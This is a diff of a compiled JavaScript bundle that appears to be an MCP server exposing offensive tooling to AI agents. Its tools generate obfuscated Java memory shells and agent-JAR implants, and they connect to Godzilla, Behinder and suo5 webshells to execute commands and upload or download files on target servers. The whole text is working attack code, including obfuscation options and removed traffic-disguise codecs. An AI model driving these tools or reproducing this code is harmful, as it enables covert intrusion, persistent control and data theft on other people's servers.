+ tool: z.string(),
3125
+ param: z.string(),
3126
+ url: z.string().optional().describe("Remote HTTP(S) endpoint; falls back to the urlQueryParam environment variable."),
3127
+ object: z.boolean().optional().describe("Override object mode; normally inferred from the field type.")
3128
+ }
3129
+ },
3130
+ async (args) => {
3131
+ try {
3132
+ const descriptor = (await client.getShellToolConfigs()).find((config) => config.tool === args.tool);
3133
+ const param = descriptor?.params.find((candidate) => candidate.name === args.param);
3134
+ if (!param?.ui || param.ui.kind !== "remote-select") {
3135
+ throw new Error(`${args.tool}.${args.param} is not a remote-select shell tool option.`);
3136
+ }
3137
+ const sourceUrl = args.url ?? process.env[param.ui.urlQueryParam];
3138
+ if (!sourceUrl) {
3139
+ throw new Error(`Provide url or set the ${param.ui.urlQueryParam} environment variable.`);
3140
+ }
3141
+ const options = await fetchRemoteOptions(sourceUrl, param.ui, args.object ?? param.type === "object");
3142
+ return jsonContent({ tool: args.tool, param: args.param, sourceUrl, options });
3143
+ } catch (err) {
3144
+ return errorContent(err);
3145
+ }
3146
+ }
3147
+ );
3148
+ server.registerTool(
3149
+ "list_obfuscation_options",
3150
+ {
3151
+ title: "List obfuscation options",
3152
+ description: "List class obfuscation option keys, defaults and valid values (v3+)"
3153
+ },
3154
+ async () => {
3155
+ try {
3156
+ return jsonContent(await client.getObfuscationOptions());
3157
+ } catch (err) {
3158
+ return errorContent(err);
3159
+ }
3160
+ }
3161
+ );
2107
3162
  server.registerTool(
2108
3163
  "generate_memshell",
2109
3164
  {
@@ -2122,7 +3177,29 @@ function createMcpServer(client) {
2122
3177
  };
2123
3178
  const started = Date.now();
2124
3179
  try {
2125
- const response = await client.generateMemShell(buildMemShellRequest(args));
3180
+ if (args.agentArgs !== void 0 && !supportsAgentLoadArguments(args.shellType, args.packer)) {
3181
+ throw new Error(
3182
+ "agentArgs requires an Agent* shell type and an AgentJar, AgentJarWithJDKAttacher, or AgentJarWithJREAttacher packer."
3183
+ );
3184
+ }
3185
+ const hasPluginOptions = args.toolOptions !== void 0 || args.toolOptionJson !== void 0;
3186
+ const toolConfigs = hasPluginOptions ? await client.getShellToolConfigs() : [];
3187
+ const shellToolParams = hasPluginOptions ? toolConfigs.find((config) => config.tool === args.shellTool)?.params : void 0;
3188
+ const shellToolConfig = {
3189
+ ...args.toolOptions,
3190
+ ...parseShellToolConfig(
3191
+ Object.entries(args.toolOptionJson ?? {}).map(([name, value]) => `${name}=${value}`),
3192
+ shellToolParams
3193
+ )
3194
+ };
3195
+ const response = await client.generateMemShell(
3196
+ buildMemShellRequest({
3197
+ ...args,
3198
+ shellToolConfig: hasPluginOptions ? shellToolConfig : void 0,
3199
+ shellToolParams,
3200
+ obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
3201
+ })
3202
+ );
2126
3203
  const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
2127
3204
  logOp({
2128
3205
  category: "gen",
@@ -2132,7 +3209,14 @@ function createMcpServer(client) {
2132
3209
  detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,
2133
3210
  meta
2134
3211
  });
2135
- return jsonContent(outputFile === void 0 ? response : { ...response, outputFile });
3212
+ return jsonContent({
3213
+ ...response,
3214
+ ...outputFile === void 0 ? {} : { outputFile },
3215
+ ...args.agentArgs === void 0 ? {} : {
3216
+ agentArgs: args.agentArgs,
3217
+ agentLoadExamples: agentLoadExamples(args.agentArgs)
3218
+ }
3219
+ });
2136
3220
  } catch (err) {
2137
3221
  logOp({
2138
3222
  category: "gen",
@@ -2162,7 +3246,12 @@ function createMcpServer(client) {
2162
3246
  };
2163
3247
  const started = Date.now();
2164
3248
  try {
2165
- const response = await client.generateProbe(buildProbeRequest(args));
3249
+ const response = await client.generateProbe(
3250
+ buildProbeRequest({
3251
+ ...args,
3252
+ obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
3253
+ })
3254
+ );
2166
3255
  const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
2167
3256
  logOp({
2168
3257
  category: "probe",
@@ -2228,29 +3317,19 @@ function createMcpServer(client) {
2228
3317
  key: args.key,
2229
3318
  headerName: args.headerName,
2230
3319
  headerValue: args.headerValue,
2231
- insecure: args.insecure
3320
+ insecure: args.insecure,
3321
+ upgradeProtocol: args.upgradeProtocol
2232
3322
  });
2233
3323
  const common = {
2234
3324
  headerName: conn.headerName,
2235
3325
  headerValue: conn.headerValue,
2236
3326
  extraHeaders: conn.extraHeaders,
2237
3327
  timeoutMs: args.timeoutMs,
2238
- insecure: conn.insecure
3328
+ insecure: conn.insecure,
3329
+ upgradeProtocol: conn.upgradeProtocol
2239
3330
  };
2240
- let result;
2241
- switch (conn.tool) {
2242
- case "godzilla":
2243
- result = await testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common);
2244
- break;
2245
- case "behinder":
2246
- result = await testBehinder(conn.url, conn.pass ?? "rebeyond", common);
2247
- break;
2248
- case "suo5":
2249
- result = await testSuo5(conn.url, { ...common, mode: args.suo5Mode });
2250
- break;
2251
- default:
2252
- throw new Error(`unknown tool ${String(conn.tool)}`);
2253
- }
3331
+ const options = { suo5Mode: args.suo5Mode };
3332
+ const result = await requireProtocol(conn.tool).test({ conn, common, options });
2254
3333
  let savedAs;
2255
3334
  if (result.ok && conn.targetName === void 0) {
2256
3335
  savedAs = autoSaveShell(conn);
@@ -2289,32 +3368,20 @@ function createMcpServer(client) {
2289
3368
  key: args.key,
2290
3369
  headerName: args.headerName,
2291
3370
  headerValue: args.headerValue,
2292
- insecure: args.insecure
3371
+ insecure: args.insecure,
3372
+ upgradeProtocol: args.upgradeProtocol
2293
3373
  });
2294
3374
  const common = {
2295
3375
  headerName: conn.headerName,
2296
3376
  headerValue: conn.headerValue,
2297
3377
  extraHeaders: conn.extraHeaders,
2298
3378
  timeoutMs: args.timeoutMs,
2299
- insecure: conn.insecure
3379
+ insecure: conn.insecure,
3380
+ upgradeProtocol: conn.upgradeProtocol
2300
3381
  };
2301
- let result;
2302
- switch (conn.tool) {
2303
- case "godzilla":
2304
- result = await execGodzilla(
2305
- conn.url,
2306
- conn.pass ?? "pass",
2307
- conn.key ?? "key",
2308
- args.command,
2309
- { ...common, os: args.os }
2310
- );
2311
- break;
2312
- case "behinder":
2313
- result = await execBehinder(conn.url, conn.pass ?? "rebeyond", args.command, common);
2314
- break;
2315
- default:
2316
- throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`);
2317
- }
3382
+ const protocol = requireProtocol(conn.tool);
3383
+ if (!protocol.exec) throw new Error(unsupportedMessage(protocol, "exec"));
3384
+ const result = await protocol.exec({ conn, common, options: { os: args.os } }, args.command);
2318
3385
  let savedAs;
2319
3386
  if (result.ok && conn.targetName === void 0) {
2320
3387
  savedAs = autoSaveShell(conn);
@@ -2356,41 +3423,27 @@ function createMcpServer(client) {
2356
3423
  key: args.key,
2357
3424
  headerName: args.headerName,
2358
3425
  headerValue: args.headerValue,
2359
- insecure: args.insecure
3426
+ insecure: args.insecure,
3427
+ upgradeProtocol: args.upgradeProtocol
2360
3428
  });
2361
3429
  const common = {
2362
3430
  headerName: conn.headerName,
2363
3431
  headerValue: conn.headerValue,
2364
3432
  extraHeaders: conn.extraHeaders,
2365
3433
  timeoutMs: args.timeoutMs,
2366
- insecure: conn.insecure
3434
+ insecure: conn.insecure,
3435
+ upgradeProtocol: conn.upgradeProtocol
2367
3436
  };
2368
3437
  const localPath = resolveDownloadPath(args.remotePath, args.localPath, args.force ?? false);
2369
- let result;
2370
- switch (conn.tool) {
2371
- case "godzilla":
2372
- result = await downloadGodzilla(
2373
- conn.url,
2374
- conn.pass ?? "pass",
2375
- conn.key ?? "key",
2376
- args.remotePath,
2377
- { ...common, remoteCharset: args.remoteCharset }
2378
- );
2379
- break;
2380
- case "behinder":
2381
- result = await downloadBehinder(
2382
- conn.url,
2383
- conn.pass ?? "rebeyond",
2384
- args.remotePath,
2385
- common
2386
- );
2387
- break;
2388
- default:
2389
- throw new Error(`download supports godzilla | behinder (got ${String(conn.tool)})`);
2390
- }
3438
+ const protocol = requireProtocol(conn.tool);
3439
+ if (!protocol.download) throw new Error(unsupportedMessage(protocol, "download"));
3440
+ let result = await protocol.download(
3441
+ { conn, common, options: { remoteCharset: args.remoteCharset } },
3442
+ args.remotePath
3443
+ );
2391
3444
  if (result.ok && result.data !== void 0) {
2392
3445
  try {
2393
- writeFileSync3(localPath, result.data);
3446
+ writeFileSync4(localPath, result.data);
2394
3447
  } catch (err) {
2395
3448
  result = {
2396
3449
  ...result,
@@ -2439,40 +3492,25 @@ function createMcpServer(client) {
2439
3492
  key: args.key,
2440
3493
  headerName: args.headerName,
2441
3494
  headerValue: args.headerValue,
2442
- insecure: args.insecure
3495
+ insecure: args.insecure,
3496
+ upgradeProtocol: args.upgradeProtocol
2443
3497
  });
2444
3498
  const common = {
2445
3499
  headerName: conn.headerName,
2446
3500
  headerValue: conn.headerValue,
2447
3501
  extraHeaders: conn.extraHeaders,
2448
3502
  timeoutMs: args.timeoutMs,
2449
- insecure: conn.insecure
3503
+ insecure: conn.insecure,
3504
+ upgradeProtocol: conn.upgradeProtocol
2450
3505
  };
2451
3506
  const data = readUploadFile(args.localPath);
2452
- let result;
2453
- switch (conn.tool) {
2454
- case "godzilla":
2455
- result = await uploadGodzilla(
2456
- conn.url,
2457
- conn.pass ?? "pass",
2458
- conn.key ?? "key",
2459
- args.remotePath,
2460
- data,
2461
- { ...common, remoteCharset: args.remoteCharset }
2462
- );
2463
- break;
2464
- case "behinder":
2465
- result = await uploadBehinder(
2466
- conn.url,
2467
- conn.pass ?? "rebeyond",
2468
- args.remotePath,
2469
- data,
2470
- common
2471
- );
2472
- break;
2473
- default:
2474
- throw new Error(`upload supports godzilla | behinder (got ${String(conn.tool)})`);
2475
- }
3507
+ const protocol = requireProtocol(conn.tool);
3508
+ if (!protocol.upload) throw new Error(unsupportedMessage(protocol, "upload"));
3509
+ const result = await protocol.upload(
3510
+ { conn, common, options: { remoteCharset: args.remoteCharset } },
3511
+ args.remotePath,
3512
+ data
3513
+ );
2476
3514
  let savedAs;
2477
3515
  if (result.ok && conn.targetName === void 0) {
2478
3516
  savedAs = autoSaveShell(conn);
@@ -2519,6 +3557,7 @@ function createMcpServer(client) {
2519
3557
  headerName: args.headerName,
2520
3558
  headerValue: args.headerValue,
2521
3559
  insecure: args.insecure,
3560
+ upgradeProtocol: args.upgradeProtocol,
2522
3561
  remark: args.shellRemark
2523
3562
  });
2524
3563
  logOp({
@@ -2672,62 +3711,10 @@ async function startMcpStdio(client) {
2672
3711
  await server.connect(transport);
2673
3712
  }
2674
3713
 
2675
- // src/connect/mimic-codecs.ts
2676
- import { createCipheriv as createCipheriv2, createDecipheriv as createDecipheriv2, randomBytes as randomBytes3 } from "crypto";
2677
- var LEGACY_CIPHER = {
2678
- algorithm: "aes-ecb",
2679
- encoding: "base64",
2680
- padTail: false,
2681
- marker: "js-var"
2682
- };
2683
- function resolveCipher(partial) {
2684
- return { ...LEGACY_CIPHER, ...partial ?? {} };
2685
- }
2686
- function deriveMarkers(pass, secretKey, cipher = LEGACY_CIPHER) {
2687
- const id = md5Hex(pass + secretKey).slice(0, 5);
2688
- if (cipher.marker === "html-comment") {
2689
- const left2 = `<!--Re${id}_config:`;
2690
- return { left: left2, right: "-->", wrap: (p) => `${left2}${p}-->` };
2691
- }
2692
- const left = `var Re${id}_config="`;
2693
- return { left, right: '";', wrap: (p) => `<script>${left}${p}";</script>` };
2694
- }
2695
-
2696
3714
  // src/custom/build.ts
2697
3715
  import { mkdirSync as mkdirSync4, readFileSync as readFileSync6, writeFileSync as writeFileSync5 } from "fs";
2698
3716
  import { join as join6 } from "path";
2699
3717
 
2700
- // src/core/site-profile.ts
2701
- import { existsSync as existsSync4, mkdirSync as mkdirSync3, readdirSync, readFileSync as readFileSync5, writeFileSync as writeFileSync4 } from "fs";
2702
- import { homedir as homedir4 } from "os";
2703
- import { join as join5 } from "path";
2704
- function inferBodyTemplateContentType(bodyTemplate) {
2705
- const t = bodyTemplate.trimStart();
2706
- if (t.startsWith("--")) return "multipart/form-data";
2707
- if (t.startsWith("{") || t.startsWith("[")) return "application/json";
2708
- if (t.startsWith("<")) return "text/xml";
2709
- return null;
2710
- }
2711
- function profileTemplates(profile) {
2712
- if (Array.isArray(profile.templates) && profile.templates.length > 0) {
2713
- return profile.templates;
2714
- }
2715
- if (profile.template) {
2716
- return [
2717
- {
2718
- title: profile.title ?? "",
2719
- template: profile.template,
2720
- contentType: profile.contentType ?? "text/html; charset=utf-8"
2721
- }
2722
- ];
2723
- }
2724
- return [];
2725
- }
2726
- function profileRequests(profile) {
2727
- if (!profile.request) return [];
2728
- return Array.isArray(profile.request) ? profile.request : [profile.request];
2729
- }
2730
-
2731
3718
  // src/custom/java-template.ts
2732
3719
  function renderWrapperJava() {
2733
3720
  return `package mimic;
@@ -3433,6 +4420,7 @@ export {
3433
4420
  emitPayload,
3434
4421
  execBehinder,
3435
4422
  execGodzilla,
4423
+ fetchRemoteOptions,
3436
4424
  formatOp,
3437
4425
  getProject,
3438
4426
  hasJavac,
@@ -3441,9 +4429,13 @@ export {
3441
4429
  logOp,
3442
4430
  marshalFrameBase64,
3443
4431
  marshalSuo5Map,
4432
+ normalizeRemoteOptions,
3444
4433
  opLogPath,
4434
+ parseShellToolConfig,
4435
+ parseToolConfigFile,
3445
4436
  profileSecretFields,
3446
4437
  readOps,
4438
+ readRemotePath,
3447
4439
  removeProject,
3448
4440
  removeShell,
3449
4441
  renderCryptoProbe,
@@ -3463,8 +4455,11 @@ export {
3463
4455
  testBehinder,
3464
4456
  testGodzilla,
3465
4457
  testSuo5,
4458
+ toolConfigForTool,
3466
4459
  truncateOutput,
3467
4460
  unmarshalFrameBase64,
3468
- unmarshalSuo5Map
4461
+ unmarshalSuo5Map,
4462
+ validateRemoteOptionsUrl,
4463
+ validateRequiredRemoteOptions
3469
4464
  };
3470
4465
  //# sourceMappingURL=index.js.map